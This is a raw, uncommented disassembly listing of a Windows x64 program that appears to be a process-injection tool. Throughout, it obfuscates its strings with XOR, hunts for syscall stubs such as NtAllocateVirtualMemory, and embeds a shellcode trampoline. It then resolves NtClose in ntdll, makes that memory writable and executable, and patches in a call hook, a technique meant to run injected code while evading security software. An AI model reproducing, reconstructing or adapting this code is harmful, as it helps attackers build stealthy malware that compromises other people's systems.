lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a4e491c0
lea rax, [rbp + 0x26a0]
lea rdx, [rbp + 0x26c0]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2680]
lea rdx, [rbp + 0x26a0]
lea r8, [0x3a4e623b1]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2660]
lea rdx, [rbp + 0x2680]
lea r8, [0x3a4e623bd]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2640]
lea rdx, [rbp + 0x2660]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2620]
lea rdx, [rbp + 0x2640]
lea r8, [0x3a4e623ad]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2600]
lea rdx, [rbp + 0x2620]
lea r8, [0x3a4e623ab]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x25e0]
lea rdx, [rbp + 0x2600]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x25c0]
lea rdx, [rbp + 0x25e0]
lea r8, [0x3a4e62363]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x25a0]
lea rdx, [rbp + 0x25c0]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2580]
lea rdx, [rbp + 0x25a0]
lea r8, [0x3a4e6236b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2560]
lea rdx, [rbp + 0x2580]
lea r8, [0x3a4e62361]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2540]
lea rdx, [rbp + 0x2560]
lea r8, [0x3a4e623ad]
mov rcx, rax
call fcn.3a4e59d40
lea rdx, [rbp + 0x2540]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4e49920
lea rax, [rbp + 0x2540]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2560]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2580]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x25a0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x25c0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x25e0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2600]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2620]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2640]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2660]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2680]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x26a0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x26c0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x26ef]
mov rcx, rax
call fcn.3a4e11890
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x26f0]
mov rcx, rax
call fcn.3a4e48d30
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x26f0]
mov rcx, qword [rbp + 0x30f8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a4da13fd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x26f0]
mov rcx, rax
call fcn.3a4e498e0
cmp dword [rbp + 0x30a4], 0
je 0x3a4da750d
lea rbx, [0x3a4e62377]
jmp 0x3a4da7514
lea rbx, [0x3a4e6237c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4dcf060
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a4da1370
lea rax, [rbp + 0x295f]
mov rcx, rax
call fcn.3a4e11860
lea rdx, [rbp + 0x295f]
lea rax, [rbp + 0x2930]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a4e491c0
lea rax, [rbp + 0x2910]
lea rdx, [rbp + 0x2930]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x28f0]
lea rdx, [rbp + 0x2910]
lea r8, [0x3a4e62371]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x28d0]
lea rdx, [rbp + 0x28f0]
lea r8, [0x3a4e62365]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x28b0]
lea rdx, [rbp + 0x28d0]
lea r8, [0x3a4e623bd]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2890]
lea rdx, [rbp + 0x28b0]
lea r8, [0x3a4e62369]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2870]
lea rdx, [rbp + 0x2890]
lea r8, [0x3a4e6236b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2850]
lea rdx, [rbp + 0x2870]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2830]
lea rdx, [rbp + 0x2850]
lea r8, [0x3a4e623c3]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2810]
lea rdx, [rbp + 0x2830]
lea r8, [0x3a4e623b1]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x27f0]
lea rdx, [rbp + 0x2810]
lea r8, [0x3a4e623bb]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x27d0]
lea rdx, [rbp + 0x27f0]
lea r8, [0x3a4e623ab]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x27b0]
lea rdx, [rbp + 0x27d0]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2790]
lea rdx, [rbp + 0x27b0]
lea r8, [0x3a4e62363]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2770]
lea rdx, [rbp + 0x2790]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2750]
lea rdx, [rbp + 0x2770]
lea r8, [0x3a4e6236b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2730]
lea rdx, [rbp + 0x2750]
lea r8, [0x3a4e62361]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2710]
lea rdx, [rbp + 0x2730]
lea r8, [0x3a4e623ad]
mov rcx, rax
call fcn.3a4e59d40
lea rdx, [rbp + 0x2710]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4e49920
lea rax, [rbp + 0x2710]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2730]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2750]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2770]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2790]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x27b0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x27d0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x27f0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2810]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2830]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2850]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2870]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2890]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x28b0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x28d0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x28f0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2910]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2930]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x295f]
mov rcx, rax
call fcn.3a4e11890
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x2960]
mov rcx, rax
call fcn.3a4e48d30
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x2960]
mov rcx, qword [rbp + 0x30f0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a4da13fd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x2960]
mov rcx, rax
call fcn.3a4e498e0
cmp dword [rbp + 0x30a4], 0
je 0x3a4da7900
lea rbx, [0x3a4e62377]
jmp 0x3a4da7907
lea rbx, [0x3a4e6237c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4dcf060
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a4da1370
lea rax, [rbp + 0x2bef]
mov rcx, rax
call fcn.3a4e11860
lea rdx, [rbp + 0x2bef]
lea rax, [rbp + 0x2bc0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a4e491c0
lea rax, [rbp + 0x2ba0]
lea rdx, [rbp + 0x2bc0]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2b80]
lea rdx, [rbp + 0x2ba0]
lea r8, [0x3a4e623a9]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2b60]
lea rdx, [rbp + 0x2b80]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2b40]
lea rdx, [rbp + 0x2b60]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2b20]
lea rdx, [rbp + 0x2b40]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2b00]
lea rdx, [rbp + 0x2b20]
lea r8, [0x3a4e62369]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2ae0]
lea rdx, [rbp + 0x2b00]
lea r8, [0x3a4e6236b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2ac0]
lea rdx, [rbp + 0x2ae0]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2aa0]
lea rdx, [rbp + 0x2ac0]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2a80]
lea rdx, [rbp + 0x2aa0]
lea r8, [0x3a4e6236f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2a60]
lea rdx, [rbp + 0x2a80]
lea r8, [0x3a4e62365]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2a40]
lea rdx, [rbp + 0x2a60]
lea r8, [0x3a4e6235f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2a20]
lea rdx, [rbp + 0x2a40]
lea r8, [0x3a4e62371]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2a00]
lea rdx, [rbp + 0x2a20]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x29e0]
lea rdx, [rbp + 0x2a00]
lea r8, [0x3a4e62373]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x29c0]
lea rdx, [rbp + 0x29e0]
lea r8, [0x3a4e62361]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x29a0]
lea rdx, [rbp + 0x29c0]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2980]
lea rdx, [rbp + 0x29a0]
lea r8, [0x3a4e62375]
mov rcx, rax
call fcn.3a4e59d40
lea rdx, [rbp + 0x2980]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4e49920
lea rax, [rbp + 0x2980]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x29a0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x29c0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x29e0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2a00]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2a20]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2a40]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2a60]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2a80]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2aa0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2ac0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2ae0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2b00]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2b20]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2b40]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2b60]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2b80]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2ba0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2bc0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2bef]
mov rcx, rax
call fcn.3a4e11890
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x2bf0]
mov rcx, rax
call fcn.3a4e48d30
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x2bf0]
mov rcx, qword [rbp + 0x30e8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a4da13fd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x2bf0]
mov rcx, rax
call fcn.3a4e498e0
cmp dword [rbp + 0x30a4], 0
je 0x3a4da7d1f
lea rbx, [0x3a4e62377]
jmp 0x3a4da7d26
lea rbx, [0x3a4e6237c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4dcf060
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a4da1370
lea rax, [0x3a4e5e020]
mov rcx, rax
call fcn.3a4da1afa
mov rax, qword [0x3a4e5e288]
mov qword [rbp + 0x3098], rax
mov qword [rbp + 0x3090], 0
movabs rax, 0x6c642e6c6c64746e
mov qword [rbp + 0xee], rax
mov word [rbp + 0xf6], 0x6c
movabs rax, 0x65736f6c43744e
mov qword [rbp + 0xe6], rax
lea rax, [rbp + 0xee]
mov qword [rbp + 0x3088], rax
lea rax, [rbp + 0xe6]
mov qword [rbp + 0x3080], rax
lea rax, [rbp + 0x2c10]
lea rdx, [rbp + 0x2c4f]
mov rcx, rax
call fcn.3a4da1c14
lea rax, [rbp + 0x2c10]
mov qword [rbp + 0x3060], rax
mov rax, qword [rbp + 0x3060]
mov qword [rbp + 0x3058], rax
mov rax, qword [rbp + 0x3058]
movzx eax, byte [rax + 0x33]
test al, al
setne al
test al, al
je 0x3a4da7e96
mov rax, qword [rbp + 0x3060]
mov rdx, qword [rbp + 0x3060]
mov qword [rbp + 0x3050], rdx
mov qword [rbp + 0x3048], rax
mov dword [rbp + 0x3044], 0
jmp 0x3a4da7e8c
mov eax, dword [rbp + 0x3044]
movsxd rdx, eax
mov rax, qword [rbp + 0x3048]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x3044]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x3050]
mov eax, dword [rbp + 0x3044]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x3044], 1
cmp dword [rbp + 0x3044], 0x33
jle 0x3a4da7e2b
nop
lea rax, [rbp + 0x2c10]
mov rcx, qword [rbp + 0x3080]
mov rdx, qword [rbp + 0x3088]
mov r8, rcx
mov rcx, rax
call fcn.3a4da1370
movabs rax, 0x52515005e8834858
movabs rdx, 0x5341524151415041
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x334455667788b948
movabs rdx, 0xec83480889481122
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x834800000011e840
movabs rdx, 0x59415a415b4140c4
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x90e0ff58595a5841
mov qword [rbp + 0xd0], rax
mov rax, qword [rbp + 0x3088]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x3078], rax
cmp qword [rbp + 0x3078], 0
jne 0x3a4da8052
lea rax, [rbp + 0x2c50]
lea rdx, [rbp + 0x2c7f]
mov rcx, rax
call fcn.3a4da1dc6
lea rax, [rbp + 0x2c50]
mov qword [rbp + 0x3038], rax
mov rax, qword [rbp + 0x3038]
mov qword [rbp + 0x3030], rax
mov rax, qword [rbp + 0x3030]
movzx eax, byte [rax + 0x23]
test al, al
setne al
test al, al
je 0x3a4da8032
mov rax, qword [rbp + 0x3038]
mov rdx, qword [rbp + 0x3038]
mov qword [rbp + 0x3028], rdx
mov qword [rbp + 0x3020], rax
mov dword [rbp + 0x301c], 0
jmp 0x3a4da8028
mov eax, dword [rbp + 0x301c]
movsxd rdx, eax
mov rax, qword [rbp + 0x3020]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x301c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x3028]
mov eax, dword [rbp + 0x301c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x301c], 1
cmp dword [rbp + 0x301c], 0x23
jle 0x3a4da7fc7
nop
lea rax, [rbp + 0x2c50]
mov rdx, qword [rbp + 0x3088]
mov rcx, rax
call fcn.3a4da1370
mov ebx, 1
jmp 0x3a4da8d94
mov rdx, qword [rbp + 0x3080]
mov rax, qword [rbp + 0x3078]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3070], rax
cmp qword [rbp + 0x3070], 0
jne 0x3a4da8188
lea rax, [rbp + 0x2c80]
lea rdx, [rbp + 0x2cb0]
mov rcx, rax
call fcn.3a4da1ef8
lea rax, [rbp + 0x2c80]
mov qword [rbp + 0x3010], rax
mov rax, qword [rbp + 0x3010]
mov qword [rbp + 0x3008], rax
mov rax, qword [rbp + 0x3008]
movzx eax, byte [rax + 0x26]
test al, al
setne al
test al, al
je 0x3a4da815e
mov rax, qword [rbp + 0x3010]
mov rdx, qword [rbp + 0x3010]
mov qword [rbp + 0x3000], rdx
mov qword [rbp + 0x2ff8], rax
mov dword [rbp + 0x2ff4], 0
jmp 0x3a4da8154
mov eax, dword [rbp + 0x2ff4]
movsxd rdx, eax
mov rax, qword [rbp + 0x2ff8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2ff4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x3000]
mov eax, dword [rbp + 0x2ff4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2ff4], 1
cmp dword [rbp + 0x2ff4], 0x26
jle 0x3a4da80f3
nop
lea rax, [rbp + 0x2c80]
mov rcx, qword [rbp + 0x3080]
mov rdx, qword [rbp + 0x3088]
mov r8, rcx
mov rcx, rax
call fcn.3a4da1370
mov ebx, 1
jmp 0x3a4da8d94
lea rax, [rbp + 0x2cb1]
lea rdx, [rbp + 0x2cbe]
mov rcx, rax
call fcn.3a4da2042
lea rax, [rbp + 0x2cb1]
mov qword [rbp + 0x2fe8], rax
mov rax, qword [rbp + 0x2fe8]
mov qword [rbp + 0x2fe0], rax
mov rax, qword [rbp + 0x2fe0]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x3a4da8265
mov rax, qword [rbp + 0x2fe8]
mov rdx, qword [rbp + 0x2fe8]
mov qword [rbp + 0x2fd8], rdx
mov qword [rbp + 0x2fd0], rax
mov dword [rbp + 0x2fcc], 0
jmp 0x3a4da825b
mov eax, dword [rbp + 0x2fcc]
movsxd rdx, eax
mov rax, qword [rbp + 0x2fd0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2fcc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2fd8]
mov eax, dword [rbp + 0x2fcc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2fcc], 1
cmp dword [rbp + 0x2fcc], 0xc
jle 0x3a4da81fa
nop
lea rax, [rbp + 0x2cb1]
mov rcx, rax
call fcn.3a4da15da
mov qword [rbp + 0x3190], rax
mov rax, qword [rbp + 0x3098]
lea rcx, [rax + 0x38]
mov rdx, qword [rbp + 0x3070]
mov rax, qword [rbp + 0x3190]
mov r8, rcx
mov rcx, rax
call fcn.3a4da17af
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x98]
test rax, rax
jne 0x3a4da834e
lea rax, [rbp + 0x2cc0]
lea rdx, [rbp + 0x2cbf]
mov rcx, rax
call fcn.3a4da20bc
mov rax, qword [rbp + 0x2cc0]
mov rdx, qword [rbp + 0x2cc8]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov rax, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2cd8]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
mov rax, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2ce8]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
mov rax, qword [rbp + 0x2ce9]
mov rdx, qword [rbp + 0x2cf1]
mov qword [rbp + 0x49], rax
mov qword [rbp + 0x51], rdx
lea rax, [rbp + 0x20]
mov rcx, rax
call fcn.3a4dbe720
mov rdx, qword [0x3a4e8e068]
mov rax, qword [rbp + 0x3190]
mov rcx, rax
call rdx
mov qword [rbp + 0x3190], 0
mov qword [rbp + 0x90], 0
mov dword [rbp + 0x318c], 0
jmp 0x3a4da8399
mov eax, dword [rbp + 0x318c]
movsxd rdx, eax
mov rax, qword [rbp + 0x3070]
add rax, rdx
mov rcx, rax
mov eax, dword [rbp + 0x318c]
cdqe
lea rdx, [rbp + 0x90]
add rdx, rax
movzx eax, byte [rcx]
mov byte [rdx], al
add dword [rbp + 0x318c], 1
cmp dword [rbp + 0x318c], 7
jle 0x3a4da8365
mov rax, qword [rbp + 0x90]
lea rdx, [rbp + 0xa0]
mov rcx, rax
call fcn.3a4da1763
mov qword [rbp + 0x88], 8
mov dword [rbp + 0x84], 0
mov rax, qword [rbp + 0x3070]
mov qword [rbp + 0x78], rax
mov r10, qword [0x3a4e8e038]
lea r8, [rbp + 0x88]
lea rdx, [rbp + 0x78]
mov rax, qword [rbp + 0x3190]
lea rcx, [rbp + 0x84]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov rcx, rax
call r10
mov dword [rbp + 0x306c], eax
cmp dword [rbp + 0x306c], 0
je 0x3a4da8536
mov rbx, qword [rbp + 0x78]
lea rax, [rbp + 0x2d00]
lea rdx, [rbp + 0x2d3f]
mov rcx, rax
call fcn.3a4da2296
lea rax, [rbp + 0x2d00]
mov qword [rbp + 0x2fc0], rax
mov rax, qword [rbp + 0x2fc0]
mov qword [rbp + 0x2fb8], rax
mov rax, qword [rbp + 0x2fb8]
movzx eax, byte [rax + 0x3a]
test al, al
setne al
test al, al
je 0x3a4da84fd
mov rax, qword [rbp + 0x2fc0]
mov rdx, qword [rbp + 0x2fc0]
mov qword [rbp + 0x2fb0], rdx
mov qword [rbp + 0x2fa8], rax
mov dword [rbp + 0x2fa4], 0
jmp 0x3a4da84f3
mov eax, dword [rbp + 0x2fa4]
movsxd rdx, eax
mov rax, qword [rbp + 0x2fa8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2fa4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2fb0]
mov eax, dword [rbp + 0x2fa4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2fa4], 1
cmp dword [rbp + 0x2fa4], 0x3a
jle 0x3a4da8492
nop
lea rax, [rbp + 0x2d00]
mov edx, dword [rbp + 0x306c]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.3a4da1370
mov rdx, qword [0x3a4e8e068]
mov rax, qword [rbp + 0x3190]
mov rcx, rax
call rdx
mov qword [rbp + 0x3190], 0
mov rax, qword [rbp + 0x98]
sub rax, qword [rbp + 0x3070]
sub rax, 5
mov qword [rbp + 0x70], rax
mov dword [rbp + 0x6b], 0xe8
mov byte [rbp + 0x6f], 0
mov dword [rbp + 0x3188], 0
jmp 0x3a4da858c
mov eax, dword [rbp + 0x3188]
cdqe
lea rdx, [rbp + 0x70]
add rax, rdx
mov edx, dword [rbp + 0x3188]
lea ecx, [rdx + 1]
movzx edx, byte [rax]
movsxd rax, ecx
mov byte [rbp + rax + 0x6b], dl
add dword [rbp + 0x3188], 1
cmp dword [rbp + 0x3188], 3
jle 0x3a4da8563
mov rax, qword [rbp + 0x3070]
mov qword [rbp + 0x78], rax
mov r10, qword [0x3a4e8e030]
mov rax, qword [rbp + 0x78]
mov r11, rax
lea rcx, [rbp + 0x6b]
mov rax, qword [rbp + 0x3190]
lea rdx, [rbp + 0xf8]
mov qword [rsp + 0x20], rdx
mov r9d, 5
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x306c], eax
cmp dword [rbp + 0x306c], 0
jne 0x3a4da85f7
mov rax, qword [rbp + 0xf8]
cmp rax, 5
je 0x3a4da8711
lea rax, [rbp + 0x2d40]
lea rdx, [rbp + 0x2d7f]
mov rcx, rax
call fcn.3a4da2480
lea rax, [rbp + 0x2d40]
mov qword [rbp + 0x2f98], rax
mov rax, qword [rbp + 0x2f98]
mov qword [rbp + 0x2f90], rax
mov rax, qword [rbp + 0x2f90]
movzx eax, byte [rax + 0x34]
test al, al
setne al
test al, al
je 0x3a4da86d4
mov rax, qword [rbp + 0x2f98]
mov rdx, qword [rbp + 0x2f98]
mov qword [rbp + 0x2f88], rdx
mov qword [rbp + 0x2f80], rax
mov dword [rbp + 0x2f7c], 0
jmp 0x3a4da86ca
mov eax, dword [rbp + 0x2f7c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2f80]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2f7c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2f88]
mov eax, dword [rbp + 0x2f7c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2f7c], 1
cmp dword [rbp + 0x2f7c], 0x34
jle 0x3a4da8669
nop
lea rax, [rbp + 0x2d40]
mov ecx, dword [rbp + 0x306c]
mov rdx, qword [rbp + 0x3070]
mov r8d, ecx
mov rcx, rax
call fcn.3a4da1370
mov rdx, qword [0x3a4e8e068]
mov rax, qword [rbp + 0x3190]
mov rcx, rax
call rdx
mov qword [rbp + 0x3190], 0
mov rax, qword [rbp + 0x3098]
add rax, 0x38
mov qword [rbp + 0x88], rax
mov r10, qword [0x3a4e8e038]
lea r8, [rbp + 0x88]
lea rdx, [rbp + 0x98]
mov rax, qword [rbp + 0x3190]
lea rcx, [rbp + 0x84]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
call r10
mov dword [rbp + 0x306c], eax
